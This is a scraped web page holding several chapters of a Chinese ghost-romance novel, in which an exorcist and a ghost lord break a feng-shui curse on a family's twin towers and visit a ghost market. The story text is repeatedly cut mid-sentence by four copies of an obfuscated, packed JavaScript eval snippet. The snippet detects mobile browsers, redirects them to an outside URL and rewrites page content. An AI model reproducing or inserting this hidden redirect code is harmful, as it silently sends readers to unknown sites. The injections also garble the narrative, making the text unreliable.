地面突然剧烈震动,林知夏的罗盘磁针在坎位疯狂打转。棺材里传出指甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246245|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓挠声,混杂着婴儿啼哭与老人咳嗽的怪响。她反手甩出五帝钱钉住棺盖缝隙,桃木钉却在此时齐齐崩飞,腥臭黑血从缝隙喷涌而出。 晏清挥袖凝出冰墙,幽冥火同时暴涨,将黑木棺直接烧成齑粉。 林知夏早习惯了鬼君一言不合就烧烧烧的传统技能,只是棺木一烧,承重墙就等于空了一块……林知夏忙用罗盘劈开消防通道,拽着意犹未尽的鬼君匆匆离开,一人一鬼刚走出不远,身后就传来钢筋混凝土的坍塌声,整面承重墙瞬间裂成了蛛网状。 “阵眼在A座天台。”晏清指尖拂过她掌心的那枚从中间裂开的玉戒指,暗金纹路在裂口处若隐若现,“这局倒是布得精巧。” 林知夏:“不用在正途迟早遭反噬。” 宴清:“人各有志,娘子怎知人家不是为了报仇雪恨?” 林知夏:“那也不该牵连无辜。” 宴清轻刮她鼻尖,“双子楼坍塌七次,至今未死一人,除了钱家被套牢,哪来的无辜牵累?” 林知夏懵了一下,反应过来好像确实没听说死人,楼栋周遭的煞气也不是死人造成的,是镇物黑棺中放了腌臜物所致。 这样一梳理,心里顿时舒服了些。 只是这双生煞不解决不行,天长日久放任不管迟早要出人命。 *** 暴雨浇在未完工的玻璃幕墙上,像道扭曲的水帘。林知夏握着罗盘站在天台边缘,看着对面B座完全对称的结构,终于明白双生煞的关窍所在。 “镜像风水阵。”她将玉戒按在女儿墙的凹槽里,“钱家把AB座建成镜面双子楼,等于把阴宅格局复刻到阳宅。” 对面天台突然亮起烛光,几十对白衣男女机械地跳着诡异的舞蹈,每对都好似双生,长得一模一样。 晏清挑眉:“生魂傀儡。” 林知夏的罗盘磁针此时全部直立,墨玉戒迸出青光。她咬破指尖在虚空画出血符:“五星镇彩,光照玄冥!” 血符触及暴雨的刹那,整栋楼剧烈摇晃。对面傀儡齐刷刷转头,数十道视线犹如实质钉在她身上。晏清并指斩断袭来的煞气,幽冥火在两人脚下烧出北斗阵图,“十指。” 林知夏立刻会意,左手扣住他冰凉的手指,两手十指相扣,同心契生效的瞬间,二十八宿星图在天台浮现,青龙虚影顺着相扣的掌心盘桓而上。 “震位坤向,破!” 对面数十生魂顷刻消失不见,暴雨中的烛火同时熄灭。 林知夏看着掌心随阵法消逝的星芒有些出神,没想到同心契这么好用的,来之前宴清和她讲了原理,她原本还存疑,现在看来,很牛掰啊! 林知夏有些兴奋,见晏清银发间落了片树叶,就想伸手去摘,却被他握住了手腕。 “娘子可知,方才结契时……”宴清俯身贴近她耳畔,幽冥火凝成的流萤照亮他眉心血印,“为夫听见你的心跳快了三拍呢。” 林知夏:“……” 林知夏耳尖发烫,正要反驳,脚下楼板突然塌陷。失重感袭来的瞬间,墨玉戒迸出青光裹住两人,龙骨镯在黑暗中亮起暗金纹路。 等他们摔进地下车库的沙堆,林知夏才发现自己整个人趴在晏清身上。他玄色衣襟散开两寸,露出冷玉般的肌肤,而她掌心下,正是他心口位置。 “娘子摸够了么?”宴清指尖缠着她一缕发梢,“虽说春宵一刻值千金……” 林知夏听了都无语,刚才那境况搁平时幽冥火早出来找存在感了,明明是他故意不放幽冥火出来,现在却说她占他便宜! 这鬼,大大的坏! 19. 双生煞(三) 地下车库的应急灯在头顶忽明忽暗,林知夏的掌心还贴着晏清微凉的心口。远处传来钢筋扭曲的吱嘎声,像是某种庞然大物在黑暗中苏醒的信号。 “娘子若是再不起来……”晏清鎏金瞳孔映着她泛红的耳尖,轻笑一声,“为夫可要讨些利息了。” 林知夏:“……” 林知夏慌忙撑起身,阔腿裤的裤脚扫过满地砂砾。她刚刚站好,墨玉戒就泛起了涟漪,戒面并蒂莲纹直直指向西北角的承重柱方向。林知夏顺着看过去,等看清了那是什么,直接嘶了一声。 那里,竟然嵌着半截焦黑的桃木剑! “这剑上浸泡过不好的东西。”林知夏盯着桃木剑看了片刻说道。 她蹲下身抹去剑身周遭的混凝土碎渣,“看来港城那位大师,连钱家祖坟都动了手脚。” 晏清挥袖扫过承重柱,幽冥火顺着钢筋缝隙烧出暗红色纹路:“娘子可听说过移花接木?” 阴风伴着他的话音卷着砂砾扑来,林知夏反手甩出罗盘。黄铜磁针钉在“兑”位疯狂旋转,针尾凝出的水珠在半空拼成“镜”字。数十道白影从承重柱后飘出,每对都生得一模一样,手腕上皆系着褪色的红绳。 “生魂傀儡怎么追到这里了?”她后退半步贴上晏清冰凉的胸膛,“刚才不是都解决了吗!” “方才破的是阵,现在要破的是局。”晏清玄色鹤纹长衫无风自动,幽冥火凝成的青龙盘桓在两人头顶,“钱家自作孽,欠债还钱天经地义。” 生魂突然齐刷刷抬起右手,褪色红绳化作锁链缠向林知夏脚踝。晏清揽着她腾空跃起,发梢扫过承重梁时,整片天花板轰然坍塌。烟尘中浮现出民国样式的典当行柜台,铜制天平上摆着对翡翠长命锁。 “这是……钱家祖上的幻象?!”林知夏有些讶然,心说那位港城大师大概真是位大师,这时光倒流,旧影重现的本事可不是谁都能做到的! 幻象倏地扭曲,穿着长衫的中年人这时从柜台后走出。他左手握着金算盘,右手拎着个啼哭的襁褓,襁褓里竟蜷着对连体婴孩。婴孩脐带缠在一枚玉质算盘珠上,每拨动一下那颗珠子,哭声便凄厉三分。 林知夏面露不忍,这也太过分了! 虽说连体婴早年被人视为不详,但也不该遭受这样的对待!这是人干事?想到宴清刚刚说的移花接木……林知夏仿佛明白了什么。 幻象中的婴孩突然裂成两半。一半化作西装革履的现代商人,一半变成浑身溃烂的乞儿。幽冥火暴涨的瞬间,林知夏看到乞儿历经磨难坎坷,意外遇到一对良善夫妻,那夫妻收留他,为他治病治伤,虽然残疾,却也基本可以自理。 上世纪大动乱前更是将他一同带去了港城! 曾经满身狼狈的乞儿下一瞬变为一名面貌有些阴鸷的中年男人,他跟随高人学到一身本事,西装革履,谈吐不凡,虽不良于行,却无人敢轻视他。 “原来如此。”晏清嗤笑,“当年被舍弃的次子,回来讨债了。” 林知夏这时也是叹息,想到在黑棺上发现的那枚玉扣,可不就跟幻象里金算盘上缠着婴儿脐带的那颗玉质珠子一模一样? 林知夏觉得生理厌恶。 “钱老爷子当年应该就是用那枚玉扣换了亲兄弟的命格。” 钱家以为换了命格,那个不健康的就再翻不起浪,只能自生自灭。但世上偏偏有柳暗花明,置之死地而后生一说,天网恢恢,善恶有序,不是不报,时候未到。 宴清说天地有灵,林知夏想,人啊,果然不能做坏事,但凡做了亏心事,或迟或早,都会受到应有果报。 比如她所在的林家,比如现在的钱家。 就这,钱老爷子刚才还有脸现形给她做提醒呢! 他自己做的孽,坑了自己亲儿子,他心里没数吗! 活着时做下缺德事,死了也不是个好鬼! 承重柱突然渗出黑血,符咒纹路在墙面亮起青光。林知夏的罗盘脱手飞出,磁针笔直指向东南方的通风管道。 虽然同情那位港城大师的遭遇,但他这种报复法子不管真不行,林知夏扯下腕间红绳系在晏清指尖:“劳驾鬼君大人搭把手?” “娘子这般主动,”晏清慢条斯理地将红绳改缠上两人手腕,“为夫自然却之不恭。” 十指相扣的刹那,同心契在虚空绘出二十八宿星图。林知夏刚想咬舌尖,对上宴清若有似无的警告视线,顿了顿,默默松开了即将咬合的齿关节,改为咬手指在桃木剑上画符。 暗红纹路顺着剑身蔓延,“破!” 剑锋刺入混凝土的瞬间,整座车库地动山摇,数十生魂傀儡齐齐炸成纸灰,一幕幕旧影如碎裂的玻璃分崩离析。 “双生煞……破了吗?”林知夏迟疑的问。 之所以不确定,是因为她没有感觉到破阵后的通透感,这是种只可意会的感觉,让具体描述,又描述不出来。可要说没破阵吧,周遭的煞气确实是在慢慢消融…… 晏清并指划开虚空,幽冥火顺着雨幕烧出星斗轨迹:“娘子可听过庄周梦蝶?方才我们破的,不过是镜中幻影。” 林知夏望着掌心随雨水晕开的血符,突然福至心灵:”你是说…真正的双生煞在……” “在钱家人心里。”晏清弹指烧尽飘来的纸灰,“贪欲不灭,煞气永生。” ** 黎明时分,钱辰战战兢兢开了祖宅的祠堂。他找到族谱,泛黄的纸页停在民国四十三年——钱氏双子出生那日,朱砂写就的“次子夭折”四字正在渗血。 钱辰吓得大喊一声跌倒在地。 林知夏将桃木剑横在香案上:“令祖父当年为改你父亲命格,把双胞胎的弟弟卖给走阴人当药引,那孩子受尽磨难九死一生。”她语气淡淡,“这些年你们钱家接连出事,祸事不断,人丁凋零,人家是为寻仇。至于这个……”她将一个琉璃瓶扔到他脚边,“这是在双子楼的地基里找到的。” 钱辰忙说,“这、这个是龙脉精髓!” 林知夏挑眉,“那位港城大师说的?” 钱辰连连点头,“那位大师在港城很有名望,人人都说他厉害,我费了很大精力才找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253255|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他出山。” “龙脉精髓?”身穿长袍,显得仙风道骨的晏清发出轻笑,幽冥火裹住琉璃瓶烧出张扭曲的人脸,“分明是至阴之物炼化的阴毒之物。” 钱辰看看这位神仙样的大帅哥,又瞅瞅瓶中黑红色液体……呕一声差点吐了! “林、林小姐,您说寻仇,我那位、那位二、二爷爷到底是谁?” 祠堂梁柱突然渗出黑水,牌位接二连三炸裂。林知夏甩出五帝钱钉住门窗,墨玉戒青光笼罩整间祠堂:“还不现身?” 阴风卷着纸灰凝成人形,穿唐装的老者握着个金算盘从供桌后走出。他胸口别着港城风水协会的胸针,脖颈处却有道深可见骨的缝合线。 “大、、大、大大师!?”钱辰瘫软在地,“您、您、您就是…我、我二爷爷?!” “二爷爷?”老者嗓音像砂纸磨过青石,“当年我生不如死时,你们这一脉可都喝着我的血啃着我的肉呢!" 林知夏眼睛一直盯着老者完好无损的双腿看,宴清在旁说,“纸人术而已,雕虫小技。” 林知夏默默看他一眼,心说雕虫小技,但是我不会。 似看出她心中所想,宴清将下巴搭到她的肩上,亲昵说道,“回头我教你,如何?” 林知夏有点心动,漂亮的大眼忽闪忽闪,透着几分可爱天真。宴清看得欢喜,正要捏捏她的耳朵,忽听老者厉喝,“我要让钱家断子绝孙!” 老者手中算盘珠一一崩裂,“那个人既然这么看重钱家传承,那我偏要钱家身败名裂,他越在意什么,我越要毁掉什么!” 钱辰吓得吱哇乱叫,“我、我、我什么都不知道啊!我爷爷死了,我爸也死了,家里就剩我妈跟我了!冤有头债有主,你不是天师吗,你报仇找我爷爷啊!昨晚我还看到我爷爷鬼魂了!” 林知夏:“……”这孙子可真够孝顺的。 眼见老者出手很辣,真的要取人性命,林知夏趁机甩出墨斗线缠住老者,“您老消消气,钱经理话糙理不糙,所谓冤有头债有主,就算讨债,也不该跟孙辈讨,他这年纪知道什么呢?” 钱辰听得差点哭出来,连滚带爬起身想往林知夏身边逃,结果被晏清一道结界弹回了供桌前。 钱辰:“……” 老者这时才正眼去看林知夏,他愤怒道,“他们这一脉能生活优渥至此,全靠吸我血肉,我若放过他,谁又能还我公道?!” 林知夏:“你亲哥的死不就是你害的?他是受益者,他死了,就等于还债了,命都抵给你了,大爷,再杀人,真就过了。” 老者似听到什么笑话哈哈大笑起来,“若债是这样还的,银行还收什么利息!” 林知夏刚要继续和他掰扯,宴清淡淡道,“我看你可怜又命不久矣不与你计较,回去等死吧,若你不甘,就跟他讨债去!”说着扔过去一个瓷瓶,老者下意识伸手去接,狐疑的开了点盖子往里瞅,看清里面是谁,怔愣当场,片刻后,老者缓缓收起瓷瓶,不再理在场几人,身体一软,下一瞬老者消失,唯留下一片惟妙惟肖的纸人在地上。 20. 镜中鬼市(一) 两天后,林知夏站在江堤上看着被爆破烟尘吞没的双子楼,满意点头,钱辰站在一侧踟蹰着说,“林小姐,我找人打听了,听说我二……叔已经到弥留之际了。” 林知夏嗯一声,“尘归尘土归土,上一辈的恩怨到此为止罢,你最好不要继续掺和。” 钱辰苦笑,“我哪里敢,只是……您看我要不要去趟港城?” 林知夏目光浅淡的看他一眼,“我劝你不要做多余的事,俗话说做多错多,别看你二叔活不长了,但收拾你依然不在话下,你不去他跟前刷存在感,人家可能也懒得搭理你,若非要去做显眼包,那后果只能自负。” 钱辰闻言忙摆手,“我、我肯定不去找死,”又搓搓手,有些讨好的问,“林、林小姐,现在楼也毁了,我二叔也不报仇了,那我家里的运势是不是就不会再受到影响了?” 林知夏:“抱歉,我只负责捉鬼除煞,运势什么的不在我业务范围。” 钱辰不死心,“那、那迁走的那个墓我需要再迁回来吗?您不是说那应该是我爷爷的双胞兄弟,他埋在这里对我家有好处?” 林知夏最后看他一眼,“随你。”话毕,转身就走,“我火车要晚点了,走了。” 钱辰还要追,结果脚一迈,直接摔个大马趴,他疼得龇牙咧嘴,正想爬起来去追,可目之所及哪里还有少女纤细的身影? 宴清在林知夏耳边叨叨,“你与他废话什么,那就是个面善心恶的草包,贪心不足蛇吞象,跟他那个精明的祖父比差远了。” 林知夏小声说,“总要顾着些我二师兄的面子。” 宴清嗤笑,“你二师兄竟然会欠下此人的人情,可见也不是什么——”后面的话直接消音,因为小丫头转过来的眼神有点凶,奶凶奶凶的,怪可爱的。他伸手将她额边碎发拨开,“娘子这样看我,莫不是想让我亲亲你?” 林知夏:“……” 林知夏面无表情转过头,继续朝前走,“你也说了他迟早自食恶果,和他计较什么。” 钱家气数已尽,那个钱辰如果吸取前人教训踏踏实实做些善事,将来就算不能力挽狂澜,也不至于穷困潦倒不得善终。 但想想他刚才说得那些话,哪一句是带着忏悔和醒悟的? 这样的人,救不了。 她把整件事编辑成短信发给二师兄,没提让他与钱家保持距离什么的,二师兄都三十多的人了,不需要她指手画脚教他做事。他如果事后依然和钱辰保持关系,那也是二师兄的选择,她管不着。 ** 盛夏过去,立秋后,一场秋雨一场寒。 距离解决钱家事已经过去快两个月,后续林知夏也没怎么关注,只听说港城那位大师已经仙去,留下的遗产由养父母的亲子一脉继承,至于钱辰……现在可能已经在破产边缘了吧。 这段时间林知夏过得忙碌且安逸。她终于修缮好了老宅的祠堂,除去了家中因逆水局引起的诸多煞气,通过宴清的幻术给三叔公和管家福伯依次到派出所开具了死亡证明。 三叔公死因是年纪到了自然死亡,福伯是因为接受不了三叔公的去世一激动,心肌梗死没有抢救过来。 鬼君幻术出神入化,一环扣一环,连同医院抢救记录和监控都可以幻化出来,完美闭环,没有任何可怀疑的蛛丝马迹留下。 至此,他们在社会上才算是真正死亡。 林知夏没办葬礼,两人尸骨无存,给置办了衣冠冢。 福伯无儿无女,后事也是林知夏一手操办,全程陪同她的都是宴清。 休假许久的家中帮佣重新回来工作,老宅生活逐渐步入正轨。 对于三叔公和福伯的相继离世,厨子钟叔最难过,负责打扫的张婶、赵姨也唏嘘不已。他们倒是没有多想,比如这两人的死都跟林知夏有关什么的。不是他们单纯好骗,实在是林知夏在家中最亲近的人就是她三叔公和福伯,大家都知道林家这一代只有林知夏一根独苗,林家所有东西都是她的,她没动机也没必要做什么傻事。 ** 秋雨裹着桂花香飘进窗棂时,林知夏正对着八仙桌上的青铜镜出神。镜面浮着层水银雾霭,倒映出晏清执笔誊写《鲁班经》的侧影,玄色鹤纹长衫被穿堂风吹得翻卷如云,腕间龙骨镯与案头铜炉香烟纠缠出细密金线。 “听说这镜面连续渗血三天,陈老板吓得不敢看到镜子,一照镜子就头晕,玻璃都不行。”她指尖敲了敲铜镜包浆的边沿,黄铜磁针在罗盘天池里转出残影,“说是从洛阳老城拆迁区收来的,镜背的螭龙纹倒是像唐代官制。” 晏清笔锋未停,墨色在宣纸上洇出“镜通幽冥”四字:“长安西市三更鼓,照见九幽不归人——若我没看错,这物件在唐时应是被称作‘阴阳’,是胡商从波斯带回的陨铁所铸。” 林知夏闻言将铜镜翻转,果然在螭龙须爪间找到串粟特文字。手机突然震动,古董店的陈老板发来段监控视频:凌晨两点三十五分,原本安静摆放在博古架上的铜镜表面突然渗出粘稠的血珠,镜中倒映的博古架变成鳞次栉比的唐代街市,街市一角,穿圆领袍的胡商举着夜明珠正在大声叫卖。 “鬼市!”她倏地起身,腕间龙骨镯撞在桌沿铮然作响,“这镜子能照见鬼市?!” 晏清搁下狼毫笔,过来看了眼手机上的监控视频,冰凉的指尖在镜面血痕抚过,语气淡淡,“贞观二十三年,玄奘法师取经归来,太宗命太史局用胡商带来的天降陨铁铸阴阳镜九面,分置长安九市以镇妖邪。”他袖摆扫过镜面,水银雾霭中浮现出灯火通明的鬼市轮廓,“看来,这面镜子就是那九镜之一了。” 他话音刚落,这面古镜里突然传来金铃脆响,一名身穿淡色襦裙的清秀侍女由远及近身形慢慢变大,终于,她捧着漆盒从镜中走了出来。 就这么明晃晃的,走出来了?! 林知夏:“……”不是震慑妖邪的镜子吗?鬼这么光明正大从里面走出来真的没问题?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256767|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍女先冲林知夏与宴清屈膝行礼,之后掀开盒盖,露出里面烫金的请帖。 林知夏蹙眉,晏清并指划开虚空,幽冥火凝成的手掌扼住侍女咽喉:“告诉你们掌柜,三日后子时,本君会赴长安西市之约,不过……下次若再私自找来,我掀了他的铺子!” 侍女瑟缩的连连点头,化作青烟消散前,不忘将请柬留下。林知夏拿起漆盒中的帖子,看着封皮“玄字丙号”的朱砂印记,好奇问,“这是什么帖子?” 宴清:“拍卖贴。” 林知夏大眼睛忽闪忽闪,“鬼市还有拍卖行?” 宴清捏捏她的耳垂,轻笑,“何止有拍卖行,凡你所想,鬼市近乎皆有。” 林知夏听到‘近乎’两个字,就没提什么刁钻的比如仙丹什么的故意抬杠。她从小到大只道听途说过有鬼市存在,却没有真正遇到过。鬼市并不像一些影视剧里描述的那样有些术法就可以来去自由想参加就参加,不是的,鬼市很隐秘,鬼都不一定能找到真正入口,何况是人! 反正她活了二十年,自打有记忆起,还是头一回离‘鬼市’这样近。 想到他们拿到的是拍卖邀请函,林知夏问,“鬼市的拍卖会需要验资吗?” “验的不是钱。”晏清袖中滑出枚血玉扳指套进她拇指,“贞观年间规矩,进西市需跳胡旋舞——娘子可愿陪为夫温习《霓裳羽衣曲》?” 林知夏:“这个西市是单纯的长安西市的意思,还是有别的含义?” 宴清道:“娘子聪慧。鬼市分东西南北四市,如东市,以秦汉为主,西市则延续唐时规矩。” 林知夏:“哇!” 宴清提醒她:“胡旋舞。” 林知夏:“……我不行我不会!我从来没跳过舞!” 宴清嘴角含笑,倾身凑近,“为夫耐心极佳。” 林知夏:“……” * 西市在古时长安,也就是现在的西安境内。 林知夏原本以为想去西市需要专门跑去西安,结果宴清告诉她并不用。 这面被古董店老板丢烫手山芋似的交付过来让驱鬼除煞的古镜就是入口,没有这面古镜,身为人类就算跑西安也照样进不去。 此时,镜中鬼市倒映着长安西市的朱雀大街,脸戴昆仑奴面具的胡商牵着骆驼穿梭其间,人流如梭,看上去热闹极了。 “请帖为阴阳镜的‘门钥’。”晏清将胡服递给她,玄色锦袍上的联珠纹在暮色里泛着金红,“子时三刻,我们可进入拍卖会。” 林知夏展开石榴红胡服,看着腰间缀满金铃的蹀躞带发愁:“非要穿成这样?” “西市规矩,胡旋舞袖长需过膝。”晏清倚着门框轻笑,鎏金瞳孔映出她泛红的耳尖,“当年安禄山进贡的胡姬,跳得最妙的是反手弹琵琶,等会儿若遇到,我带娘子看看眼界。” 林知夏想,要是不用跳那个什么胡旋舞,今天的行程肯定非常完美! 21. 镜中鬼市(二) 林知夏攥着蹀躞带金铃有些发愁。 石榴红胡服在灯光下泛着绸缎特有的光泽,腰间缀着的二十八枚金铃随着动作叮咚作响,倒真有了几分敦煌壁画里飞天神女的飘逸感。她对着穿衣镜将银丝面帘别在鬓边,转身时险些被曳地的袖摆绊倒。 晏清从身后托住她的腰肢,玄色鹤纹长衫擦过她后颈的绒毛,激得人脊背发麻。 “胡旋舞讲究疾转如风。”宴清指尖拂过蹀躞带的金铃,“娘子且看——”话音未落,幽冥火凝成的舞姬已踩着羯鼓节奏旋出曼妙弧度,无论看过多少遍,依然觉得很好看。 但是! 林知夏攥紧腰间蹀躞带,金铃在掌心硌出小小红印,踟蹰问,“非得转三十六个圈?” “西市规矩,每圈对应二十八宿中一宿。”晏清虚扶她后腰,鎏金瞳孔映着镜中虚实交叠的身影,笑着安抚,“莫担心,有为夫在,定不叫娘子丢丑。” 林知夏:“……”感觉更担心了。 * 铜镜在亥时,将将晚上十点四十五分的时候就泛起了涟漪,腕间龙骨镯蓦地收紧,林知夏下意识攥住晏清衣袖,石榴红胡服袖口的金线刺绣蹭过他玄色鹤纹长衫,在镜面水银雾霭中勾出细碎流光。 “闭眼。”晏清掌心覆上她眼睫,“镜中煞气易伤魂。” 林知夏嗅到他袖间沉水香混着幽冥火的凛冽,耳畔忽然炸开驼铃与胡笳的混响。再睁眼时,朱雀大街的喧嚣扑面而来。 戴昆仑奴面具的胡商牵着双峰骆驼穿行而过,骆驼背上摞着塞满丝绸的藤箱;梳回鹘髻的卖花娘挎着竹篮,篮中牡丹竟是用人骨雕成;酒肆幌子下悬着七盏人皮灯笼,映得青石板路泛着尸油特有的暗黄。 “两位贵人可要占卦?”卦摊后探出张枯树皮似的脸,老者独眼嵌着琉璃珠,指尖捏着三枚浸血的龟甲,“测姻缘测吉凶,不准不要钱。” 林知夏的罗盘在蹀躞带下疯狂震颤,她正要细看卦摊上的蓍草,晏清突然揽住她的腰肢旋身避开,下一瞬他们方才站立的地方,地砖裂开了一条细缝,从细缝中渗出的黑雾沿着地砖蔓延,却在触及石榴红绸缎时发出滋滋灼响,近不得身。 林知夏这时才意识到身上的胡服非凡品,这分明是件辟邪的法衣! 鬼君大人666! “西市规矩。”晏清指尖拂过她蹀躞带的金铃,“活人入市,需用阴物镇魂。” 他说着摘下她发间龙骨簪,簪头并蒂莲纹在鬼火中绽开。簪身化作青烟没入心口,林知夏顿觉五感好似蒙上一层纱,连呼吸都透着地府特有的寒意。 “现在可以了。”晏清鎏金瞳孔映出她眉心若隐若现的莲印,“娘子方才若碰了那蓍草,此刻怕是要在黄泉路排队领孟婆汤了。” 林知夏:“……”好阴险! 她后知后觉地攥紧罗盘,黄铜冷意刺得掌心发麻。远处传来羯鼓声,十二名戴傩面的舞姬踩着鼓点旋入长街,裙摆翻飞间露出森森白骨。 “胡旋舞要开场了。”晏清忽然执起她的手,玄色袖摆扫过满地磷火,“抓紧为夫,莫被阴差勾了魂。” 他说着不等她回应,已经揽住她的腰肢腾空跃起,等林知夏回神时,整个人已经被他带着旋入朱雀大街中央。 林知夏:“……” 金铃随着旋转炸响如惊雷,青石板映出二十八宿星图,幽冥火凝成的流萤追着他们翻飞的衣袂,在槐花雨帘中烧出银河倒悬的奇景。 “左踏天枢,右转玉衡。”晏清带着她避开地面不时裂开的煞眼,掌心贴着她后腰往右带,“娘子这舞步,倒像是蹴鞠。” “你才像踢球的!”林知夏踩着他靴面借力旋身,石榴红广袖扫落袭来的槐叶暗器,小声吐槽,“这哪是跳舞,分明是踏罡步斗!” 鎏金瞳孔掠过笑意,晏清突然松手将她抛向半空。林知夏在失重中瞥见酒肆二楼探出的数十张惨白鬼面,本能地并指就想画符,幽冥火先一步顺着金铃纹路环绕她周身。 林知夏忽的反应过来自己在鬼市,她这时画符,整不好要惹众怒的!忙收了手,瞬时借幽冥火在空中完成三周转体,落地时蹀躞带金铃齐齐炸响,震得槐叶簌簌如雨。 围观的众鬼爆发出喝彩,胡姬的琵琶声越发激越。林知夏喘着气看向晏清,发现他玄色鹤纹长衫的暗金云纹竟与自己身上胡服的联珠纹完美契合,恍然惊觉这根本是一对阴阳双舞的礼服。 “恭喜二位通关。”戴傩面的老者从槐影里走出,枯枝般的手递来鎏金请柬,“玄字丙号厢房已备好,子时三刻恭迎贵客。” * 距离子时三刻还有些时间,宴清让林知夏选,是直接去拍卖会,还是先在附近转转。 林知夏想了想,指指旁边的酒肆,她有点好奇里面和影视剧里有什么不一样。 其实……也没多大不一样,就是非人类主题有点多,比如酒肆二层的露台悬着人皮灯笼,再比如戴着青铜兽首面具的侍者端来漆盘,盘中盛酒的酒盏是半颗头颅!还有一楼大堂中央随羯鼓转圈的舞姬全是白骨精,往来客人也都是非人类。 其他的摆设装潢什么的和那种正剧里的镜头画面还挺像的。 “西市有三不饮。”晏清坐姿优雅的叩了叩颅骨天灵盖,幽冥火顺着裂纹烧出张扭曲人脸,“不饮怨女泪,不饮稚子血,不饮——” “不饮负心人肝肠断。”斜刺里突然插进道沙哑嗓音,穿圆领袍的中年男人晃着翡翠扳指落座,“这位大人倒是熟客。" 林知夏的罗盘磁针猛地转向来者,她借坐回来的动作打量对方——翡翠扳指的手上沁着尸斑,腰间蹀躞带缀着七枚不同制式的古钱,最扎眼的是他颈间那道缝合线,针脚细密得不像活人手笔。 这分明该是个死人,身上却偏偏有属于活人的气! 林知夏有些疑惑的看向宴清,晏清漫不经心地把玩着酒盏,“这位是荣宝斋的程掌柜。”伴随着颅骨中的人脸突然发出凄厉的哭嚎将话说完,“专收陪葬品的二道贩子。” 程掌柜堆满褶子的脸僵了僵,手上翡翠扳指转得飞快:“大人说笑,程某做的可是正经买卖。”他说着好似突然发现似的盯住林知夏腕间的龙骨镯,“姑娘这镯子…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265331|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不卖。”林知夏将罗盘按在案几上,磁针直指对方心口,“程掌柜不如说说,您身上这五鬼运财术还能撑几日?” 楼下的羯鼓声陡然急促,胡旋舞姬的傩面齐刷刷转向露台。程掌柜额角渗出冷汗,翡翠扳指“咔”地裂开道缝:“姑娘好眼力,程某确有一事相求……” 话音未落,整条长街突然地动山摇。林知夏扶住栏杆望去,只见西市牌坊下缓缓升起青铜巨鼎,鼎身缠着九条玄铁锁链,每条链子都栓着具无头尸骸。 晏清好似对外面的动静不感兴趣,他指尖燃起簇幽冥火,清越浅笑,“娘子可知为何鬼市拍卖要叫‘阴眼局’?” 林知夏:“因为所有拍品……都是阴物?” “非也。”晏清鎏金瞳孔掠过丝讥诮,“所谓鬼迷心窍,赝品里掺着真东西,就像外面这鼎——”他袖摆扫过程掌柜咽喉,对方颈间缝合线应声而断,露出截焦黑的桃木钉。 程掌柜慌忙捂住脖子,翡翠扳指“当啷”滚落案几:“大、大人饶命!那鼎不是赝品,里面镇着前朝太子的魂魄,此人身带龙气,对大人大有助益,只要大人能……” “能让你多活五十年?”宴清冷嗤,“用前朝太子魂魄找吾交易,程掌柜倒是大方。” 胡旋舞姬的鼓点在此刻攀至顶峰,十二具白骨同时炸成齑粉。晏清突然揽住林知夏跃下露台,玄色鹤纹长衫在阴风中猎猎如旗。 林知夏刚要说什么,那边青铜鼎下的尸骸突然睁开空洞的眼眶,九条锁链绞成麻花状向他们这边袭来。 林知夏蹙眉,这不是那个程掌柜给宴清准备的?怎么交易前还要打一架吗? 她想问,结果罗盘比她兴奋,直接脱手飞出,磁针在虚空中拼出二十八宿星图将九条锁链罩入其中动弹不得。 林知夏:“……” 她有点无奈,足尖点过某具尸骸的天灵盖,蹀躞带金铃撞出清越碎响,伸手要抓回不听话的罗盘,结果先看到鼎身浮现出密密麻麻的咒文。 晏清凌空接住坠落的罗盘,黄铜冷意沁入掌心龙纹:“娘子可认得这些殄文?” “是巫诅。”林知夏揪住他袖摆借力翻身,石榴红胡服扫过鼎耳处的饕餮纹,“相传前秦巫祝曾用来咒杀太子。”她指尖突然触到细微凸起,眉心微拧,“这纹路……和沈姑娘那截鎏金锁链好像啊!” 